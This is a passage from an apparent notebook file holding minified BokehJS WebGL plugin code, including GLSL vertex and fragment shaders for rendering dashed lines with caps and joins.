OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(t,e){var a;a=t.Bokeh,function(t,e,n){if(null!=a)return a.register_plugin(t,{\\\"models/glyphs/webgl/base\\\":451,\\\"models/glyphs/webgl/index\\\":452,\\\"models/glyphs/webgl/line.frag\\\":453,\\\"models/glyphs/webgl/line\\\":454,\\\"models/glyphs/webgl/line.vert\\\":455,\\\"models/glyphs/webgl/main\\\":456,\\\"models/glyphs/webgl/markers.frag\\\":457,\\\"models/glyphs/webgl/markers\\\":458,\\\"models/glyphs/webgl/markers.vert\\\":459},456);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({451:function(t,e,n){var g=t(27),y=t(14),a=function(){function t(t,e){this.gl=t,this.glyph=e,this.nvertices=0,this.size_changed=!1,this.data_changed=!1,this.visuals_changed=!1,this.init()}return t.prototype.set_data_changed=function(t){t!=this.nvertices&&(this.nvertices=t,this.size_changed=!0),this.data_changed=!0},t.prototype.set_visuals_changed=function(){this.visuals_changed=!0},t.prototype.render=function(t,e,n){var a,s=[0,1,2],i=s[0],r=s[1],o=s[2],l=1,_=1,h=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=h[0],f=h[1];if(isNaN(c[0]+c[1]+c[2]+f[0]+f[1]+f[2]))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;if(l=100/Math.min(Math.max(Math.abs(c[1]-c[0]),1e-12),1e12),_=100/Math.min(Math.max(Math.abs(f[1]-f[0]),1e-12),1e12),a=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=a[0],f=a[1],1e-6<Math.abs(c[1]-c[0]-(c[2]-c[1]))||1e-6<Math.abs(f[1]-f[0]-(f[2]-f[1])))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;var d=[(c[1]-c[0])/l,(f[1]-f[0])/_],u=d[0],g=d[1],p=this.glyph.renderer.plot_view.gl.canvas,v=p.width,m=p.height,x={pixel_ratio:this.glyph.renderer.plot_view.canvas.pixel_ratio,width:v,height:m,dx:c[0]/u,dy:f[0]/g,sx:u,sy:g};return this.draw(e,n,x),!0},t}();function p(t,e){for(var n=new Float32Array(t),a=0,s=t;a<s;a++)n[a]=e;return n}function v(t,e){return void 0!==t[e].spec.value}n.BaseGLGlyph=a,n.line_width=function(t){return t<2&&(t=Math.sqrt(2*t)),t},n.fill_array_with_float=p,n.fill_array_with_vec=function(t,e,n){for(var a=new Float32Array(t*e),s=0;s<t;s++)for(var i=0;i<e;i++)a[s*e+i]=n[i];return a},n.visual_prop_is_singular=v,n.attach_float=function(t,e,n,a,s,i){if(s.doit)if(v(s,i))e.used=!1,t.set_attribute(n,\\\"float\\\",s[i].value());else{e.used=!0;var r=new Float32Array(s.cache[i+\\\"_array\\\"]);e.set_size(4*a),e.set_data(0,r),t.set_attribute(n,\\\"float\\\",e)}else e.used=!1,t.set_attribute(n,\\\"float\\\",[0])},n.attach_color=function(t,e,n,a,s,i){var r,o=i+\\\"_color\\\",l=i+\\\"_alpha\\\";if(s.doit)if(v(s,o)&&v(s,l))e.used=!1,r=g.color2rgba(s[o].value(),s[l].value()),t.set_attribute(n,\\\"vec4\\\",r);else{var _=void 0,h=void 0;e.used=!0,h=v(s,o)?function(){for(var t=[],e=0,n=a;e<n;e++)t.push(s[o].value());return t}():s.cache[o+\\\"_array\\\"],_=v(s,l)?p(a,s[l].value()):s.cache[l+\\\"_array\\\"];for(var c=new Float32Array(4*a),f=0,d=a;f<d;f++){r=g.color2rgba(h[f],_[f]);for(var u=0;u<4;u++)c[4*f+u]=r[u]}e.set_size(4*a*4),e.set_data(0,c),t.set_attribute(n,\\\"vec4\\\",e)}else e.used=!1,t.set_attribute(n,\\\"vec4\\\",[0,0,0,0])}},452:function(t,e,n){var a=t(391);a.__exportStar(t(454),n),a.__exportStar(t(458),n)},453:function(t,e,n){n.fragment_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform sampler2D u_dash_atlas;\\\\n\\\\nuniform vec2 u_linecaps;\\\\nuniform float u_miter_limit;\\\\nuniform float u_linejoin;\\\\nuniform float u_antialias;\\\\nuniform float u_dash_phase;\\\\nuniform float u_dash_period;\\\\nuniform float u_dash_index;\\\\nuniform vec2 u_dash_caps;\\\\nuniform float u_closed;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\n// Compute distance to cap ----------------------------------------------------\\\\nfloat cap( int type, float dx, float dy, float t, float linewidth )\\\\n{\\\\n    float d = 0.0;\\\\n    dx = abs(dx);\\\\n    dy = abs(dy);\\\\n    if      (type == 0)  discard;  // None\\\\n    else if (type == 1)  d = sqrt(dx*dx+dy*dy);  // Round\\\\n    else if (type == 3)  d = (dx+abs(dy));  // Triangle in\\\\n    else if (type == 2)  d = max(abs(dy),(t+dx-abs(dy)));  // Triangle out\\\\n    else if (type == 4)  d = max(dx,dy);  // Square\\\\n    else if (type == 5)  d = max(dx+t,dy);  // Butt\\\\n    return d;\\\\n}\\\\n\\\\n// Compute distance to join -------------------------------------------------\\\\nfloat join( in int type, in float d, in vec2 segment, in vec2 texcoord, in vec2 miter,\\\\n           in float linewidth )\\\\n{\\\\n    // texcoord.x is distance from start\\\\n    // texcoord.y is distance from centerline\\\\n    // segment.x and y indicate the limits (as for texcoord.x) for this segment\\\\n\\\\n    float dx = texcoord.x;\\\\n\\\\n    // Round join\\\\n    if( type == 1 ) {\\\\n        if (dx < segment.x) {\\\\n            d = max(d,length( texcoord - vec2(segment.x,0.0)));\\\\n            //d = length( texcoord - vec2(segment.x,0.0));\\\\n        } else if (dx > segment.y) {\\\\n            d = max(d,length( texcoord - vec2(segment.y,0.0)));\\\\n            //d = length( texcoord - vec2(segment.y,0.0));\\\\n        }\\\\n    }\\\\n    // Bevel join\\\\n    else if ( type == 2 ) {\\\\n        if (dx < segment.x) {\\\\n            vec2 x = texcoord - vec2(segment.x,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n\\\\n        } else if (dx > segment.y) {\\\\n            vec2 x = texcoord - vec2(segment.y,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n        }\\\\n        /*  Original code for bevel which does not work for us\\\\n        if( (dx < segment.x) ||  (dx > segment.y) )\\\\n            d = max(d, min(abs(x.x),abs(x.y)));\\\\n        */\\\\n    }\\\\n\\\\n    return d;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    // If color is fully transparent we just discard the fragment\\\\n    if( v_color.a <= 0.0 ) {\\\\n        discard;\\\\n    }\\\\n\\\\n    // Test if dash pattern is the solid one (0)\\\\n    bool solid =  (u_dash_index == 0.0);\\\\n\\\\n    // Test if path is closed\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    vec4 color = v_color;\\\\n    float dx = v_texcoord.x;\\\\n    float dy = v_texcoord.y;\\\\n    float t = v_linewidth/2.0-u_antialias;\\\\n    float width = 1.0;  //v_linewidth; original code had dashes scale with line width, we do not\\\\n    float d = 0.0;\\\\n\\\\n    vec2 linecaps = u_linecaps;\\\\n    vec2 dash_caps = u_dash_caps;\\\\n    float line_start = 0.0;\\\\n    float line_stop = v_length;\\\\n\\\\n    // Apply miter limit; fragments too far into the miter are simply discarded\\\\n    if( (dx < v_segment.x) || (dx > v_segment.y) ) {\\\\n        float into_miter = max(v_segment.x - dx, dx - v_segment.y);\\\\n        if (into_miter > u_miter_limit*v_linewidth/2.0)\\\\n          discard;\\\\n    }\\\\n\\\\n    // Solid line --------------------------------------------------------------\\\\n    if( solid ) {\\\\n        d = abs(dy);\\\\n        if( (!closed) && (dx < line_start) ) {\\\\n            d = cap( int(u_linecaps.x), abs(dx), abs(dy), t, v_linewidth );\\\\n        }\\\\n        else if( (!closed) &&  (dx > line_stop) ) {\\\\n            d = cap( int(u_linecaps.y), abs(dx)-line_stop, abs(dy), t, v_linewidth );\\\\n        }\\\\n        else {\\\\n            d = join( int(u_linejoin), abs(dy), v_segment, v_texcoord, v_miter, v_linewidth );\\\\n        }\\\\n\\\\n    // Dash line --------------------------------------------------------------\\\\n    } else {\\\\n        float segment_start = v_segment.x;\\\\n        float segment_stop  = v_segment.y;\\\\n        float segment_center= (segment_start+segment_stop)/2.0;\\\\n        float freq          = u_dash_period*width;\\\\n        float u = mod( dx + u_dash_phase*width, freq);\\\\n        vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n        float dash_center= tex.x * width;\\\\n        float dash_type  = tex.y;\\\\n        float _start = tex.z * width;\\\\n        float _stop  = tex.a * width;\\\\n        float dash_start = dx - u + _start;\\\\n        float dash_stop  = dx - u + _stop;\\\\n\\\\n        // Compute extents of the first dash (the one relative to v_segment.x)\\\\n        // Note: this could be computed in the vertex shader\\\\n        if( (dash_stop < segment_start) && (dash_caps.x != 5.0) ) {\\\\n            float u = mod(segment_start + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_start - u + _start;\\\\n            dash_stop = segment_start - u + _stop;\\\\n        }\\\\n\\\\n        // Compute extents of the last dash (the one relatives to v_segment.y)\\\\n        // Note: This could be computed in the vertex shader\\\\n        else if( (dash_start > segment_stop)  && (dash_caps.y != 5.0) ) {\\\\n            float u = mod(segment_stop + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_stop - u + _start;\\\\n            dash_stop  = segment_stop - u + _stop;\\\\n        }\\\\n\\\\n        // This test if the we are dealing with a discontinuous angle\\\\n        bool discontinuous = ((dx <  segment_center) && abs(v_angles.x) > THETA) ||\\\\n                             ((dx >= segment_center) && abs(v_angles.y) > THETA);\\\\n        //if( dx < line_start) discontinuous = false;\\\\n        //if( dx > line_stop)  discontinuous = false;\\\\n\\\\n        float d_join = join( int(u_linejoin), abs(dy),\\\\n                            v_segment, v_texcoord, v_miter, v_linewidth );\\\\n\\\\n        // When path is closed, we do not have room for linecaps, so we make room\\\\n        // by shortening the total length\\\\n        if (closed) {\\\\n             line_start += v_linewidth/2.0;\\\\n             line_stop  -= v_linewidth/2.0;\\\\n        }\\\\n\\\\n        // We also need to take antialias area into account\\\\n        //line_start += u_antialias;\\\\n        //line_stop  -= u_antialias;\\\\n\\\\n        // Check is dash stop is before line start\\\\n        if( dash_stop <= line_start ) {\\\\n            discard;\\\\n        }\\\\n        // Check is dash start is beyond line stop\\\\n        if( dash_start >= line_stop ) {\\\\n            discard;\\\\n        }\\\\n\\\\n        // Check if current dash start is beyond segment stop\\\\n        if( discontinuous ) {\\\\n            // Dash start is beyond segment, we discard\\\\n            if( (dash_start > segment_stop) ) {\\\\n                discard;\\\\n                //gl_FragColor = vec4(1.0,0.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Dash stop is before segment, we discard\\\\n            if( (dash_stop < segment_start) ) {\\\\n                discard;  //gl_FragColor = vec4(0.0,1.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Special case for round caps (nicer with this)\\\\n            if( dash_caps.x == 1.0 ) {\\\\n                if( (u > _stop) && (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for round caps  (nicer with this)\\\\n            if( dash_caps.y == 1.0 ) {\\\\n                if( (u < _start) && (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.x != 1.0) && (dash_caps.x != 5.0) ) {\\\\n                if( (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0) ) {\\\\n                    float a = v_angles.x/2.0;\\\\n                    float x = (segment_start-dx)*cos(a) - dy*sin(a);\\\\n                    float y = (segment_start-dx)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the cap into square to avoid holes\\\\n                    dash_caps.x = 4.0;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.y != 1.0) && (dash_caps.y != 5.0) ) {\\\\n                if( (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0) ) {\\\\n                    float a = v_angles.y/2.0;\\\\n                    float x = (dx-segment_stop)*cos(a) - dy*sin(a);\\\\n                    float y = (dx-segment_stop)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the caps into square to avoid holes\\\\n                    dash_caps.y = 4.0;\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n        // Line cap at start\\\\n        if( (dx < line_start) && (dash_start < line_start) && (dash_stop > line_start) ) {\\\\n            d = cap( int(linecaps.x), dx-line_start, dy, t, v_linewidth);\\\\n        }\\\\n        // Line cap at stop\\\\n        else if( (dx > line_stop) && (dash_stop > line_stop) && (dash_start < line_stop) ) {\\\\n            d = cap( int(linecaps.y), dx-line_stop, dy, t, v_linewidth);\\\\n        }\\\\n        // Dash cap left - dash_type = -1, 0 or 1, but there may be roundoff errors\\\\n        else if( dash_type < -0.5 ) {\\\\n            d = cap( int(dash_caps.y), abs(u-dash_center), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash cap right\\\\n        else if( dash_type > 0.5 ) {\\\\n            d = cap( int(dash_caps.x), abs(dash_center-u), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash body (plain)\\\\n        else {// if( dash_type > -0.5 &&  dash_type < 0.5) {\\\\n            d = abs(dy);\\\\n        }\\\\n\\\\n        // Line join\\\\n        if( (dx > line_start) && (dx < line_stop)) {\\\\n            if( (dx <= segment_start) && (dash_start <= segment_start)\\\\n                && (dash_stop >= segment_start) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.x;\\\\n                float f = abs( (segment_start - dx)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( (dx > segment_stop) && (dash_start <= segment_stop)\\\\n                     && (dash_stop >= segment_stop) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.y;\\\\n                float f = abs((dx - segment_stop)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( dx < (segment_start - v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n            else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n        }\\\\n        else if( dx < (segment_start - v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n        else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n    }\\\\n\\\\n    // Distance to border ------------------------------------------------------\\\\n    d = d - t;\\\\n    if( d < 0.0 ) {\\\\n        gl_FragColor = color;\\\\n    } else {\\\\n        d /= u_antialias;\\\\n        gl_FragColor = vec4(color.rgb, exp(-d*d)*color.a);\\\\n    }\\\\n}\\\\n\\\"},454:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(455),o=t(453),l=t(27),_=function(){function t(t){this._atlas={},this._index=0,this._width=256,this._height=256,this.tex=new s.Texture2D(t),this.tex.set_wrapping(t.REPEAT,t.REPEAT),this.tex.set_interpolation(t.NEAREST,t.NEAREST),this.tex.set_size([this._height,this._width],t.RGBA),this.tex.set_data([0,0],[this._height,this._width],new Uint8Array(this._height*this._width*4)),this.get_atlas_data([1])}return t.prototype.get_atlas_data=function(t){var e=t.join(\\\"-\\\"),n=this._atlas[e];if(void 0===n){var a=this.make_pattern(t),s=a[0],i=a[1];this.tex.set_data([this._index,0],[1,this._width],new Uint8Array(s.map(function(t){return t+10}))),this._atlas[e]=[this._index/this._height,i],this._index+=1}return this._atlas[e]},t.prototype.make_pattern=function(t){1<t.length&&t.length%2&&(t=t.concat(t));for(var e=0,n=0,a=t;n<a.length;n++){var s=a[n];e+=s}for(var i=[],r=0,o=0,l=t.length+2;o<l;o+=2){var _=Math.max(1e-4,t[o%t.length]),h=Math.max(1e-4,t[(o+1)%t.length]);i.push(r,r+_),r+=_+h}for(var c=this._width,f=new Float32Array(4*c),o=0,l=c;o<l;o++){for(var d=void 0,u=void 0,g=void 0,p=e*o/(c-1),v=0,m=1e16,x=0,y=i.length;x<y;x++){var b=Math.abs(i[x]-p);b<m&&(v=x,m=b)}v%2==0?(g=p<=i[v]?1:0,u=i[v],d=i[v+1]):(g=p>i[v]?-1:0,u=i[v-1],d=i[v]),f[4*o+0]=i[v],f[4*o+1]=g,f[4*o+2]=u,f[4*o+3]=d}return[f,e]},t}(),h={miter:0,round:1,bevel:2},c={\\\"\\\":0,none:0,\\\".\\\":0,round:1,\\\")\\\":1,\\\"(\\\":1,o:1,\\\"triangle in\\\":2,\\\"<\\\":2,\\\"triangle out\\\":3,\\\">\\\":3,square:4,\\\"[\\\":4,\\\"]\\\":4,\\\"=\\\":4,butt:5,\\\"|\\\":5},f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl;this._scale_aspect=0;var e=r.vertex_shader,n=o.fragment_shader;this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.index_buffer=new s.IndexBuffer(t),this.vbo_position=new s.VertexBuffer(t),this.vbo_tangents=new s.VertexBuffer(t),this.vbo_segment=new s.VertexBuffer(t),this.vbo_angles=new s.VertexBuffer(t),this.vbo_texcoord=new s.VertexBuffer(t),this.dash_atlas=new _(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(),a.data_changed=!1}this.visuals_changed&&(this._set_visuals(),this.visuals_changed=!1);var s=n.sx,i=n.sy,r=Math.sqrt(s*s+i*i);s/=r,i/=r,Math.abs(this._scale_aspect-i/s)>Math.abs(.001*this._scale_aspect)&&(a._update_scale(s,i),this._scale_aspect=i/s),this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord),this.prog.set_uniform(\\\"u_length\\\",\\\"float\\\",[a.cumsum]),this.prog.set_texture(\\\"u_dash_atlas\\\",this.dash_atlas.tex);var o=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-o[0],n.dy-o[1]]),this.prog.set_uniform(\\\"u_scale_aspect\\\",\\\"vec2\\\",[s,i]),this.prog.set_uniform(\\\"u_scale_length\\\",\\\"float\\\",[r]),this.I_triangles=a.I_triangles,this.I_triangles.length<65535)this.index_buffer.set_size(2*this.I_triangles.length),this.index_buffer.set_data(0,new Uint16Array(this.I_triangles)),this.prog.draw(this.gl.TRIANGLES,this.index_buffer);else{t=Array.from(this.I_triangles);for(var l=this.I_triangles.length,_=64008,h=[],c=0,f=Math.ceil(l/_);c<f;c++)h.push([]);for(var c=0,f=t.length;c<f;c++){var d=t[c]%_,u=Math.floor(t[c]/_);h[u].push(d)}for(var u=0,f=h.length;u<f;u++){var g=new Uint16Array(h[u]),p=u*_*4;0!==g.length&&(this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position,0,2*p),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents,0,4*p),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment,0,2*p),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles,0,2*p),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord,0,2*p),this.index_buffer.set_size(2*g.length),this.index_buffer.set_data(0,g),this.prog.draw(this.gl.TRIANGLES,this.index_buffer))}}},e.prototype._set_data=function(){this._bake(),this.vbo_position.set_size(4*this.V_position.length),this.vbo_position.set_data(0,this.V_position),this.vbo_tangents.set_size(4*this.V_tangents.length),this.vbo_tangents.set_data(0,this.V_tangents),this.vbo_angles.set_size(4*this.V_angles.length),this.vbo_angles.set_data(0,this.V_angles),this.vbo_texcoord.set_size(4*this.V_texcoord.length),this.vbo_texcoord.set_data(0,this.V_texcoord)},e.prototype._set_visuals=function(){var t,e=l.color2rgba(this.glyph.visuals.line.line_color.value(),this.glyph.visuals.line.line_alpha.value()),n=c[this.glyph.visuals.line.line_cap.value()],a=h[this.glyph.visuals.line.line_join.value()];this.prog.set_uniform(\\\"u_color\\\",\\\"vec4\\\",e),this.prog.set_uniform(\\\"u_linewidth\\\",\\\"float\\\",[this.glyph.visuals.line.line_width.value()]),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.9]),this.prog.set_uniform(\\\"u_linecaps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_linejoin\\\",\\\"float\\\",[a]),this.prog.set_uniform(\\\"u_miter_limit\\\",\\\"float\\\",[10]);var s=this.glyph.visuals.line.line_dash.value(),i=0,r=1;s.length&&(t=this.dash_atlas.get_atlas_data(s),i=t[0],r=t[1]),this.prog.set_uniform(\\\"u_dash_index\\\",\\\"float\\\",[i]),this.prog.set_uniform(\\\"u_dash_phase\\\",\\\"float\\\",[this.glyph.visuals.line.line_dash_offset.value()]),this.prog.set_uniform(\\\"u_dash_period\\\",\\\"float\\\",[r]),this.prog.set_uniform(\\\"u_dash_caps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_closed\\\",\\\"float\\\",[0])},e.prototype._bake=function(){for(var t,e,n,a,s,i,r,o,l=this.nvertices,_=new Float64Array(this.glyph._x),h=new Float64Array(this.glyph._y),c=r=new Float32Array(2*l),f=new Float32Array(2*l),d=o=new Float32Array(4*l),u=0,g=l;u<g;u++)c[2*u+0]=_[u]+this._baked_offset[0],c[2*u+1]=h[u]+this._baked_offset[1];this.tangents=e=new Float32Array(2*l-2);for(var u=0,g=l-1;u<g;u++)e[2*u+0]=r[2*(u+1)+0]-r[2*u+0],e[2*u+1]=r[2*(u+1)+1]-r[2*u+1];for(var u=0,g=l-1;u<g;u++)d[4*(u+1)+0]=e[2*u+0],d[4*(u+1)+1]=e[2*u+1],d[4*u+2]=e[2*u+0],d[4*u+3]=e[2*u+1];d[0]=e[0],d[1]=e[1],d[4*(l-1)+2]=e[2*(l-2)+0],d[4*(l-1)+3]=e[2*(l-2)+1];for(var p=new Float32Array(l),u=0,g=l;u<g;u++)p[u]=Math.atan2(o[4*u+0]*o[4*u+3]-o[4*u+1]*o[4*u+2],o[4*u+0]*o[4*u+2]+o[4*u+1]*o[4*u+3]);for(var u=0,g=l-1;u<g;u++)f[2*u+0]=p[u],f[2*u+1]=p[u+1];var v=4*l-4;this.V_position=a=new Float32Array(2*v),this.V_angles=n=new Float32Array(2*v),this.V_tangents=s=new Float32Array(4*v),this.V_texcoord=i=new Float32Array(2*v);for(var u=0,g=l;u<g;u++)for(var m=0;m<4;m++){for(var x=0;x<2;x++)a[2*(4*u+m-2)+x]=c[2*u+x],n[2*(4*u+m)+x]=f[2*u+x];for(var x=0;x<4;x++)s[4*(4*u+m-2)+x]=d[4*u+x]}for(var u=0,g=l;u<g;u++)i[2*(4*u+0)+0]=-1,i[2*(4*u+1)+0]=-1,i[2*(4*u+2)+0]=1,i[2*(4*u+3)+0]=1,i[2*(4*u+0)+1]=-1,i[2*(4*u+1)+1]=1,i[2*(4*u+2)+1]=-1,i[2*(4*u+3)+1]=1;var y=6*(l-1);this.I_triangles=t=new Uint32Array(y);for(var u=0,g=l;u<g;u++)t[6*u+0]=0+4*u,t[6*u+1]=1+4*u,t[6*u+2]=3+4*u,t[6*u+3]=2+4*u,t[6*u+4]=0+4*u,t[6*u+5]=3+4*u},e.prototype._update_scale=function(t,e){var n,a=this.nvertices,s=4*a-4,i=this.tangents,r=new Float32Array(a-1),o=new Float32Array(2*a);this.V_segment=n=new Float32Array(2*s);for(var l=0,_=a-1;l<_;l++)r[l]=Math.sqrt(Math.pow(i[2*l+0]*t,2)+Math.pow(i[2*l+1]*e,2));for(var h=0,l=0,_=a-1;l<_;l++)h+=r[l],o[2*(l+1)+0]=h,o[2*l+1]=h;for(var l=0,_=a;l<_;l++)for(var c=0;c<4;c++)for(var f=0;f<2;f++)n[2*(4*l+c)+f]=o[2*l+f];this.cumsum=h,this.vbo_segment.set_size(4*this.V_segment.length),this.vbo_segment.set_data(0,this.V_segment)},e}(i.BaseGLGlyph);n.LineGLGlyph=f},455:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size, u_offset;\\\\nuniform vec2 u_scale_aspect;\\\\nuniform float u_scale_length;\\\\n\\\\nuniform vec4 u_color;\\\\nuniform float u_antialias;\\\\nuniform float u_length;\\\\nuniform float u_linewidth;\\\\nuniform float u_dash_index;\\\\nuniform float u_closed;\\\\n\\\\nattribute vec2 a_position;\\\\nattribute vec4 a_tangents;\\\\nattribute vec2 a_segment;\\\\nattribute vec2 a_angles;\\\\nattribute vec2 a_texcoord;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\nfloat cross(in vec2 v1, in vec2 v2)\\\\n{\\\\n    return v1.x*v2.y - v1.y*v2.x;\\\\n}\\\\n\\\\nfloat signed_distance(in vec2 v1, in vec2 v2, in vec2 v3)\\\\n{\\\\n    return cross(v2-v1,v1-v3) / length(v2-v1);\\\\n}\\\\n\\\\nvoid rotate( in vec2 v, in float alpha, out vec2 result )\\\\n{\\\\n    float c = cos(alpha);\\\\n    float s = sin(alpha);\\\\n    result = vec2( c*v.x - s*v.y,\\\\n                   s*v.x + c*v.y );\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    // Attributes and uniforms to varyings\\\\n    v_color = u_color;\\\\n    v_linewidth = u_linewidth;\\\\n    v_segment = a_segment * u_scale_length;\\\\n    v_length = u_length * u_scale_length;\\\\n\\\\n    // Scale to map to pixel coordinates. The original algorithm from the paper\\\\n    // assumed isotropic scale. We obviously do not have this.\\\\n    vec2 abs_scale_aspect = abs(u_scale_aspect);\\\\n    vec2 abs_scale = u_scale_length * abs_scale_aspect;\\\\n\\\\n    // Correct angles for aspect ratio\\\\n    vec2 av;\\\\n    av = vec2(1.0, tan(a_angles.x)) / abs_scale_aspect;\\\\n    v_angles.x = atan(av.y, av.x);\\\\n    av = vec2(1.0, tan(a_angles.y)) / abs_scale_aspect;\\\\n    v_angles.y = atan(av.y, av.x);\\\\n\\\\n    // Thickness below 1 pixel are represented using a 1 pixel thickness\\\\n    // and a modified alpha\\\\n    v_color.a = min(v_linewidth, v_color.a);\\\\n    v_linewidth = max(v_linewidth, 1.0);\\\\n\\\\n    // If color is fully transparent we just will discard the fragment anyway\\\\n    if( v_color.a <= 0.0 ) {\\\\n        gl_Position = vec4(0.0,0.0,0.0,1.0);\\\\n        return;\\\\n    }\\\\n\\\\n    // This is the actual half width of the line\\\\n    float w = ceil(u_antialias+v_linewidth)/2.0;\\\\n\\\\n    vec2 position = (a_position + u_offset) * abs_scale;\\\\n\\\\n    vec2 t1 = normalize(a_tangents.xy * abs_scale_aspect);  // note the scaling for aspect ratio here\\\\n    vec2 t2 = normalize(a_tangents.zw * abs_scale_aspect);\\\\n    float u = a_texcoord.x;\\\\n    float v = a_texcoord.y;\\\\n    vec2 o1 = vec2( +t1.y, -t1.x);\\\\n    vec2 o2 = vec2( +t2.y, 